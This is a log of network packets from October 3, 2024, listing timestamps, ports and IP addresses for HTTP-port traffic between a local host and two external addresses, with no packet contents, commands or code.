Oct 3, 2024 03:27:11.150533915 CEST	80	49737	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:11.841325998 CEST	80	49737	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:11.841427088 CEST	49737	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:11.843270063 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:11.843417883 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:11.848403931 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:11.848579884 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:11.848639011 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:11.848726988 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:11.848891020 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:11.853709936 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570653915 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570677996 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570689917 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570700884 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570713043 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570724010 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570722103 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.570738077 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570763111 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.570808887 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.570837021 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570851088 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570863962 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.570894957 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.570915937 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.575699091 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.575710058 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.578082085 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.690625906 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.690690041 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.690695047 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.690748930 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.690838099 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.690893888 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.690907955 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.690922976 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.690937042 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.690969944 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.691016912 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.691629887 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.691643953 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.691658020 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.691670895 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.691679955 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.691713095 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.691734076 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.692379951 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.692406893 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.692428112 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.692433119 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.692442894 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.692456961 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.692457914 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.692476988 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.692502022 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.692532063 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.693109035 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.693135023 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.693147898 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.693161011 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.693165064 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.693175077 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.693223000 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.693223000 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.693263054 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.693944931 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.694006920 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.695436954 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.695517063 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.779417992 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.781745911 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.815968037 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.815984964 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.815990925 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.815996885 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816003084 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816008091 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816014051 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816135883 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.816267967 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816278934 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816293001 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816325903 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.816349030 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.816540956 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816582918 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816591978 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816601992 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816606045 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.816629887 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.816665888 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.816761017 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816886902 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816895962 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816905022 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816914082 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816922903 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816932917 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816935062 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.816942930 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.816981077 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.817013979 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.817347050 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817397118 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.817437887 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817447901 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817456961 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817465067 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817473888 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817482948 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817490101 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.817506075 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817516088 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817524910 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817529917 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.817557096 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.817562103 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817574024 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.817575932 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.817617893 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.818181038 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.818191051 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.818200111 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.818208933 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.818217993 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.818226099 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.818234921 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.818240881 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.818270922 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.818300009 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.823466063 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.823478937 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.823491096 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.823549986 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.823584080 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.868983984 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.869021893 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.869048119 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.869081974 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.904485941 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.904500008 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.904568911 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.904568911 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.940772057 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.940807104 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.940850973 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.940850973 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.940860987 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.940896988 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.940920115 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.940932035 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.940948963 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.940987110 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941025972 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941057920 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941078901 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941093922 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941102982 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941128016 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941147089 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941160917 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941186905 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941210032 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941246033 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941248894 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941272020 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941276073 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941313028 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941328049 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941346884 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941379070 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941380978 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941414118 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941423893 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941425085 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941458941 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941510916 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941566944 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941617966 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941623926 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941653013 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941669941 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941685915 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941694975 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941740036 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941782951 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941817045 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941837072 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941862106 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941869974 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941903114 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941920996 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941936970 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941946030 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.941971064 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.941988945 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942028999 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942323923 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942357063 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942382097 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942390919 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942401886 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942425013 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942440033 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942476034 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942485094 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942514896 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942564964 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942567110 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942598104 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942617893 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942648888 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942655087 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942699909 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942703009 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942734003 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942764997 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942785978 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942799091 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942821980 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942832947 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942862034 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942866087 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942898035 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942899942 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942920923 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.942938089 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942970991 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.942986012 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943003893 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943059921 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943248034 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943296909 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943309069 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943336010 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943348885 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943391085 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943403959 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943455935 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943458080 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943489075 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943509102 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943522930 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943536043 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943556070 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943577051 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943588972 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943615913 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943622112 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943641901 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943656921 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943676949 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943689108 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943707943 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943723917 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943737984 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943758011 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943774939 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943793058 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.943816900 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.943854094 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946269989 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946300983 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946343899 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946343899 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946352005 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946439028 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946444035 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946474075 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946490049 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946507931 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946527004 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946541071 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946557999 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946573973 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946609020 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946609020 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946630955 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946641922 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946671963 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946675062 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946693897 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946710110 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946723938 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946747065 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946772099 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946774960 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.946803093 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.946830034 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.957367897 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.957451105 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.957453012 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.957480907 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.957504988 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.957515001 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.957529068 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.957653999 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.993139982 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.993171930 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.993186951 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.993199110 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.993213892 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:12.993254900 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:12.993345976 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.029551029 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029576063 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029587984 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029598951 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029612064 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029623032 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029637098 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029644966 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.029684067 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.029704094 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.029742002 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029755116 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029767036 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029778004 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029788971 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029793978 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029798985 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029803038 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.029808998 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029819965 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.029839039 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.029871941 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.029872894 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.066411018 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.066472054 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.066524029 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.066535950 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.066576004 CEST	80	49738	185.215.113.103	192.168.2.5
